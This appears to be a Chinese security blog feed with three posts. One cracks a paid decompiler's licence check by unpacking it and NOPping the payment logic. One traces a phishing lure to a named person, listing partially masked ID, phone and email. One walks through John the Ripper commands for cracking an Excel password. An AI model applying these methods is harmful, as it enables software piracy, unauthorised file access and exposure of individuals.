&lt;p&gt;　　‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>对一个微信小程序软件的逆向</title><link>https://astro-pure.js.org/blog/wechat-mini-program-reverse</link><guid isPermaLink="true">https://astro-pure.js.org/blog/wechat-mini-program-reverse</guid><description>对一个微信小程序软件的逆向</description><pubDate>Thu, 26 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;对一个微信小程序软件的逆向&lt;/h1&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x01&lt;/h2&gt;
&lt;p&gt;因为最近有反编译微信小程序的需求，用了一个工具发现还不错，但是过了几天弹出了收费需求，感觉验证挺简单的。尝试破解一下。&lt;/p&gt;
&lt;p&gt;因为运行之后在主程序上这是一个窗口，我不太懂逆向，根据我能理解的一点知识，我觉得或许能够将这个窗口给 push 掉。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070915711-bc805d.BSyrwsu1.png&amp;#x26;w=576&amp;#x26;h=842&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;看到文件夹中的 pdb 和 DLL，猜测大概率是 C #写的，查了一下壳。#&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070915864-015b7d.CDXYEEab.png&amp;#x26;w=1263&amp;#x26;h=665&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;丢入 dnspy 查看一下，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916007-58e965.CHT1-Mvo.png&amp;#x26;w=1926&amp;#x26;h=907&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;这个源码和接口明显就是混淆过的，感觉和 Net Reactor 的壳非常相似，尝试一下脱壳。&lt;/p&gt;
&lt;p&gt;使用网上通用的 Net Reactor 脱壳方案即可脱壳成功，同时重新加载主程序进去看看。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916127-5cb188.Yw0150a7.png&amp;#x26;w=1915&amp;#x26;h=998&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这下代码都很正常了。&lt;/p&gt;
&lt;p&gt;刚开始在主程序里面没有找到更新的那块代码,后来在 Common.dll 中找到了（同样混淆了，需要脱壳）&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916280-52a9d5.BC62YTWJ.png&amp;#x26;w=1974&amp;#x26;h=1040&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;打个断点跑一下代码，看看退出的时候会断在哪里。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916393-14fedf.y0alGw11.png&amp;#x26;w=2204&amp;#x26;h=813&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现会上传挺多数据到服务器那边的，包含 BIOS USER 网卡 ID 主板编号 CPU 型号等信息，猜测应该是用作于支付后的状态确认。&lt;/p&gt;
&lt;p&gt;如果打开支付页面 变量会成为 true 如果直接退出则是 false，直接搜索这个方法去看看那块代码。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916582-ac66d9.qGGuwj7h.png&amp;#x26;w=1644&amp;#x26;h=1040&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916695-7f9634.DEVX3-Ua.png&amp;#x26;w=1644&amp;#x26;h=1040&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;程序更新也在这块代码里，逻辑也很简单。&lt;/p&gt;
&lt;p&gt;一个 code 标志用于判断，如果 code 是-45 则打开赞助窗口，如果是 0，则进入下一步。&lt;/p&gt;
&lt;p&gt;那这样破解思路也很简单了，只需要把他这块判断全部 nop 掉，然后最后填充一个 0 保持他原本的代码完整可以通过验证逻辑就行。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916795-35dcdd.o2xYSPKw.png&amp;#x26;w=1778&amp;#x26;h=905&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1706070916907-c0a21b.DcTID-0R.png&amp;#x26;w=2515&amp;#x26;h=1282&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;完事。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次钓鱼邮件溯源</title><link>https://astro-pure.js.org/blog/phishing-email-tracing</link><guid isPermaLink="true">https://astro-pure.js.org/blog/phishing-email-tracing</guid><description>记一次钓鱼邮件溯源</description><pubDate>Sat, 07 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0X01&lt;/h2&gt;
&lt;p&gt;接到客户通知，发现疑似一份钓鱼邮件，要求进行研判并且溯源。&lt;/p&gt;
&lt;p&gt;邮件大概如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712895719766-274657.Df2OpLg4.png&amp;#x26;w=833&amp;#x26;h=1037&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0X02&lt;/h2&gt;
&lt;p&gt;压缩包更改为EML之后打开文件，压缩包内容如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712895791911-67524b.CaiIiQSY.png&amp;#x26;w=923&amp;#x26;h=472&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;PS：此处的index.exe初始状态为index.sc，为了方便分析这里改掉了原始后缀。其中最主要的可执行文件为index.exe，作用是通过这个exe去拉起那个html文件。&lt;/p&gt;
&lt;p&gt;刚好开始没明白意图是啥，众所周知，Windows系统下是可执行文件的PE头如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712895995381-12cea9.wWeS_SqO.png&amp;#x26;w=855&amp;#x26;h=682&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;直接打开的话状态如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896010155-21fa18.EElkr4Wq.png&amp;#x26;w=1593&amp;#x26;h=1034&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里有个令我感到疑惑的地方，这里面的这个.sc文件是EXE格式的，但是在Windows GUI下面去点击 他是默认不会当作exe去执行的，只有console才会当作EXE去执行。&lt;/p&gt;
&lt;p&gt;但是钓鱼吧，肯定需要GUI方式触发，这里又是这种写法。&lt;br&gt;
猜测意图应该是还有其他东西把这个文件启动，要么就是搞错了。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896272917-0a3a85.hvNPr3Ji.png&amp;#x26;w=988&amp;#x26;h=280&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在这启动同目录下的indexrcs.html&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896340316-275b7f.qtmd04gL.png&amp;#x26;w=990&amp;#x26;h=126&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;但目录下面的html文件叫index， 这里实际启动的html文件名字和文件夹里的不符 。&lt;/p&gt;
&lt;p&gt;感觉攻击者疏忽了。&lt;/p&gt;
&lt;p&gt;并且微步 virustotal都是全绿，后补一张图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896494317-a97b77.DcDA0fya.png&amp;#x26;w=2533&amp;#x26;h=1381&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;反虚拟机做的也不错， 检测你temp目录下面的文件，少于多少个，就不执行了。&lt;/p&gt;
&lt;p&gt;正常物理机temp目录下几百个文件有的，虚拟机相对干净一些。&lt;/p&gt;
&lt;p&gt;整体行为就是打开同路径的index.html文件，是一个正常的扫描报告，然后通过创建新线程的方式执行shellcode，CS木马，C2地址：207.XXX.XXX.XXX。&lt;/p&gt;
&lt;h2&gt;0X03&lt;/h2&gt;
&lt;p&gt;拿到IP之后，就可以尝试进行溯源了，对该IP进行情报收集&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896671163-29d01e.BaH_M3S_.png&amp;#x26;w=1326&amp;#x26;h=863&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;比较幸运的是发现了一个历史解析是一个CN域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896752518-9c6430.BS_6fnEn.png&amp;#x26;w=1281&amp;#x26;h=594&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;通过查询whois信息获取到注册人的邮箱信息和个人姓名。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712896849713-d4d810.Bb_0HDyl.png&amp;#x26;w=1419&amp;#x26;h=843&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;对该邮箱进行历史信息关联可以得到以下结果：&lt;/p&gt;
&lt;p&gt;姓名：xx鑫&lt;/p&gt;
&lt;p&gt;邮箱：****5@qq.com&lt;/p&gt;
&lt;p&gt;身份证号：440********16&lt;/p&gt;
&lt;p&gt;手机号：1768****113&lt;/p&gt;
&lt;p&gt;那么该如何确定他是此IP是否为真实的攻击者呢？&lt;/p&gt;
&lt;p&gt;如上面所述，可以查询IP段是哪个机房的机器，通过对IP的查询，获得了对应的服务商是vultr。&lt;/p&gt;
&lt;p&gt;通过对vultr注册账号信息，得到结果:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712897082164-71f7a5.BvxRSFnK.png&amp;#x26;w=448&amp;#x26;h=497&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;即可以确认：该钓鱼邮件/恶意IP/域名/人 要素齐全 高强度关联。&lt;/p&gt;
&lt;p&gt;同时利用情报获取到一封PDF文件。确定了该员工为某集团信息部员工。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1712897220032-5711b2.DZDx4y3t.png&amp;#x26;w=1243&amp;#x26;h=870&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;END。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>John暴力破解忘记的Excel密码</title><link>https://astro-pure.js.org/blog/john-excel-password-crack</link><guid isPermaLink="true">https://astro-pure.js.org/blog/john-excel-password-crack</guid><description>John暴力破解忘记的Excel密码</description><pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我朋友问我有一个很重要的excel忘记密码了，能不能找回来了，对他很重要，我记得老早之前hashcat是可以破解的，顺便查了一下，记录一下用法。&lt;/p&gt;
&lt;p&gt;简单叙述如何使用强大的密码破解工具 John the Ripper (JtR) 来恢复忘记密码的 XLSX 文件。我们将从基础概念讲起，覆盖 John 的几种核心破解模式。&lt;/p&gt;
&lt;h2&gt;前提条件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt;: 确保你已经下载并解压了 John the Ripper。强烈推荐使用社区增强版 &lt;strong&gt;&quot;Jumbo John&quot;&lt;/strong&gt;，因为它支持更多的哈希类型和 GPU 加速。&lt;a href=&quot;https://github.com/openwall/john&quot;&gt;https://github.com/openwall/john&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标文件&lt;/strong&gt;: 你需要破解密码的 &lt;code&gt;.xlsx&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;第一步：从 XLSX 文件中提取哈希&lt;/h2&gt;
&lt;p&gt;John a Ripper 无法直接处理 &lt;code&gt;.xlsx&lt;/code&gt; 文件，它需要一个特殊格式的“哈希”字符串。我们使用 &lt;code&gt;office2john.py&lt;/code&gt; 脚本来提取它。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开你的终端（Windows 上的 PowerShell 或 CMD）。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;cd&lt;/code&gt; 命令进入 John the Ripper 的 &lt;code&gt;run&lt;/code&gt; 目录。&lt;/li&gt;
&lt;li&gt;运行以下命令：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 将 &quot;C:\path\to\your\file.xlsx&quot; 替换为你的 Excel 文件完整路径
python .\office2john.py &quot;C:\path\to\your\file.xlsx&quot; &gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1757073937828-686b33.CsCcF417.png&amp;#x26;w=1218&amp;#x26;h=124&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个命令会生成一个名为 &lt;code&gt;hash.txt&lt;/code&gt; 的文件，里面包含了 John a Ripper 需要的加密信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1757073960489-6df0ee.CwKHY_9_.png&amp;#x26;w=1688&amp;#x26;h=133&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二步：选择破解模式并执行&lt;/h2&gt;
&lt;p&gt;John the Ripper 拥有多种破解模式，针对不同场景选择合适的模式是成功的关键。&lt;/p&gt;
&lt;h3&gt;John 的核心破解模式&lt;/h3&gt;
&lt;h4&gt;1. 字典模式 (Wordlist Mode)&lt;/h4&gt;
&lt;p&gt;这是最常用的模式。你提供一个包含常用密码的字典文件（wordlist），John 会逐一尝试。还可以配合规则（Rules）对字典词汇进行变形（如 &lt;code&gt;pass&lt;/code&gt; -&gt; &lt;code&gt;P@ss123&lt;/code&gt;），极大提升成功率。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# --wordlist=后接你的字典文件路径
john --wordlist=password.lst hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 增量模式 (Incremental Mode)&lt;/h4&gt;
&lt;p&gt;纯粹的暴力破解。它会尝试所有可能的字符组合，理论上只要时间足够，一定能破解。但对于稍长的密码，会非常非常慢。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 尝试所有8位以内的小写字母组合
john --incremental=Lower --max-len=8 hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 掩码模式 (Mask Mode) - 本次使用的模式&lt;/h4&gt;
&lt;p&gt;当你对密码结构有一定了解时，这是最高效的模式。你可以定义密码的格式，极大地缩小搜索范围。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?d&lt;/code&gt;: 代表一位数字 (0-9)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?l&lt;/code&gt;: 代表一位小写字母 (a-z)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?u&lt;/code&gt;: 代表一位大写字母 (A-Z)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?s&lt;/code&gt;: 代表一位特殊符号 (!@#$)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;: 破解一个6位纯数字密码。‘&lt;/p&gt;
&lt;p&gt;参考可以查阅：&lt;a href=&quot;https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/&quot;&gt;https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES&quot;&gt;https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(非常复杂，建议直接问AI)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;john --mask=?d?d?d?d?d?d hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单来说：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;?&lt;strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/strong&gt;符号本身不是一个字符，而是一个“特殊指令”或“前缀”，它告诉 John：“请注意，跟在我后面的那个字母不是普通字母，而是一个代表特定字符集的占位符。”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;把它想象成一个填空题：&lt;/p&gt;
&lt;p&gt;__ __ __ __ __ __&lt;/p&gt;
&lt;p&gt;?d?d?d?d?d?d 这个掩码就等于在说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在第一个空 __ 里，填一个&lt;strong&gt;数字（digit）&lt;/strong&gt; (?d)&lt;/li&gt;
&lt;li&gt;在第二个空 __ 里，填一个&lt;strong&gt;数字（digit）&lt;/strong&gt; (?d)&lt;/li&gt;
&lt;li&gt;...依此类推，填满六个空。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;详细分解&lt;/h3&gt;
&lt;p&gt;让我们来深入看一下 ? 和它后面字母的组合。&lt;/p&gt;
&lt;h4&gt;1. 内置的标准占位符&lt;/h4&gt;
&lt;p&gt;John the Ripper 预定义了一些字母，当它们跟在 ? 后面时，就代表了特定的字符集。最常用的有：&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;占位符&lt;/strong&gt; | &lt;strong&gt;代表的字符集&lt;/strong&gt; | &lt;strong&gt;解释&lt;/strong&gt; | &lt;strong&gt;示例字符&lt;/strong&gt; |
| --- | --- | --- | --- |
| &lt;strong&gt;?d&lt;/strong&gt; | &lt;strong&gt;Digits&lt;/strong&gt; | 数字 | 0, 1, 2, ... 9 |
| &lt;strong&gt;?l&lt;/strong&gt; | &lt;strong&gt;Lower&lt;/strong&gt; | 小写字母 | a, b, c, ... z |
| &lt;strong&gt;?u&lt;/strong&gt; | &lt;strong&gt;Upper&lt;/strong&gt; | 大写字母 | A, B, C, ... Z |
| &lt;strong&gt;?s&lt;/strong&gt; | &lt;strong&gt;Special&lt;/strong&gt; | 特殊符号（ASCII） | !, @, #, $ ... |
| ?a | All | 所有可打印的字符（?l+?u+?d+?s） | a, A, 1, ! ... |
| ?h | Hex, lower | 小写的十六进制字符 | 0-9, a-f |
| ?H | Hex, upper | 大写的十六进制字符 | 0-9, A-F |
| ?b | All 8-bit | 所有可能的 ASCII 字符 (0-255) | (所有字符) |&lt;/p&gt;
&lt;h4&gt;2. 如何组合它们？&lt;/h4&gt;
&lt;p&gt;你可以自由地组合这些占位符来构建你认为可能的密码结构。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例1：一个首字母大写，后跟7个小写字母的密码 (例如 &lt;strong&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=?u?l?l?l?l?l?l?l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例2：一个4位数字的ATM密码，后面跟着两个大写字母 (例如 &lt;strong&gt;&lt;strong&gt;1234AB&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=?d?d?d?d?u?u
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 如果密码里就包含一个普通字母怎么办？&lt;/h4&gt;
&lt;p&gt;任何&lt;strong&gt;没有&lt;/strong&gt; ? 前缀的字符都会被当作&lt;strong&gt;普通（或“字面”）字符&lt;/strong&gt;来处理。John a Ripper 会认为这个位置的字符是固定不变的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例3：你知道密码以 &lt;strong&gt;&lt;strong&gt;pass-&lt;/strong&gt;&lt;/strong&gt; 开头，后面是4个数字 (例如 &lt;strong&gt;&lt;strong&gt;pass-1234&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=pass-?d?d?d?d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个例子里，p, a, s, s, - 都是固定不变的，只有后面的四个 ?d 位置会被 John 暴力破解。这极大地减少了搜索空间！&lt;/p&gt;
&lt;h4&gt;4. 更高级的用法：自定义字符集&lt;/h4&gt;
&lt;p&gt;你甚至可以定义自己的占位符 ?1, ?2, ?3 等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例4：你知道密码只有8位，且只包含 &lt;strong&gt;&lt;strong&gt;a, b, c, 1, 2, 3&lt;/strong&gt;&lt;/strong&gt; 这几个字符。&lt;/strong&gt;&lt;br&gt;
你可以定义一个自定义字符集 ?1，然后重复它8次。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;john --mask=&apos;?1?1?1?1?1?1?1?1&apos; --mask-char-?1=&apos;abc123&apos; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- &amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;--mask-char-?1=&apos;abc123&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;：这部分定义了&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;?1&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;这个占位符代表的字符集就是&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;&apos;abc123&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;。&amp;#x3C;/font&gt;
- &amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;--mask=&apos;?1?1?1?1?1?1?1?1&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;: 这部分告诉 John a Ripper 密码由8个来自&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;?1&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;字符集的字符组成。&amp;#x3C;/font&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;? 符号它本身没有意义，但它&lt;strong&gt;赋予了紧跟其后的字母特殊的含义&lt;/strong&gt;，让你可以从“盲目地暴力破解所有可能”转变为“&lt;strong&gt;精确地、有策略地暴力破解特定格式&lt;/strong&gt;”，从而将破解时间从几年缩短到几秒钟。&lt;/p&gt;
&lt;h4&gt;4. 单一破解模式 (Single Crack Mode)&lt;/h4&gt;
&lt;p&gt;John 默认最先尝试的模式，速度极快。它会利用哈希文件中的用户名等信息进行简单的变换和猜测。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 不加任何模式参数，默认就会启用
john hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;实战演练：破解一个6位数字密码的 XLSX 文件&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1757074358646-1cb821.D1_lRgFS.png&amp;#x26;w=246&amp;#x26;h=241&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在我们的实战中，我们知道密码是6位数字，所以选择&lt;strong&gt;掩码模式&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理想的命令是：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;.\john --mask=?d?d?d?d?d?d hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见问题与解决方案&lt;/h3&gt;
&lt;h4&gt;错误 : &lt;code&gt;Error: UTF-16 BOM seen in input file.&lt;/code&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题&lt;/strong&gt;: John 无法识别 &lt;code&gt;hash.txt&lt;/code&gt; 的文件编码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;: 使用 Windows PowerShell 的 &lt;code&gt;&gt;&lt;/code&gt; 重定向符创建文件时，默认编码是 &lt;code&gt;UTF-16&lt;/code&gt;，而 John 需要 &lt;code&gt;UTF-8&lt;/code&gt; 或 &lt;code&gt;ASCII&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决方案&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;用&lt;strong&gt;记事本&lt;/strong&gt;打开 &lt;code&gt;hash.txt&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;选择 &quot;文件&quot; -&gt; &quot;另存为&quot;。&lt;/li&gt;
&lt;li&gt;在弹出的窗口下方，将“编码”从 &lt;code&gt;UTF-16 LE&lt;/code&gt; 修改为 &lt;code&gt;UTF-8&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;保存并覆盖原文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三步：查看破解结果&lt;/h2&gt;
&lt;p&gt;当命令成功执行后，你会看到类似下面的输出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Warning: detected hash type &quot;Office&quot;, but the string is also recognized as &quot;office-opencl&quot;
Use the &quot;--format=office-opencl&quot; option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 32 OpenMP threads
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
933728           (微信登记1 (1).xlsx)
1g 0:00:00:29 DONE (2025-09-05 19:45) 0.03344g/s 20067p/s 20067c/s 20067C/s 616778..351115
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果解读:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;破解的密码&lt;/strong&gt;: &lt;code&gt;933728&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;花费时间&lt;/strong&gt;: &lt;code&gt;0:00:00:29&lt;/code&gt;，即 &lt;strong&gt;29秒&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果之后想再次查看已破解的密码，可以运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;.\john --show hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，结束。&lt;/p&gt;
&lt;p&gt;PS：&lt;/p&gt;
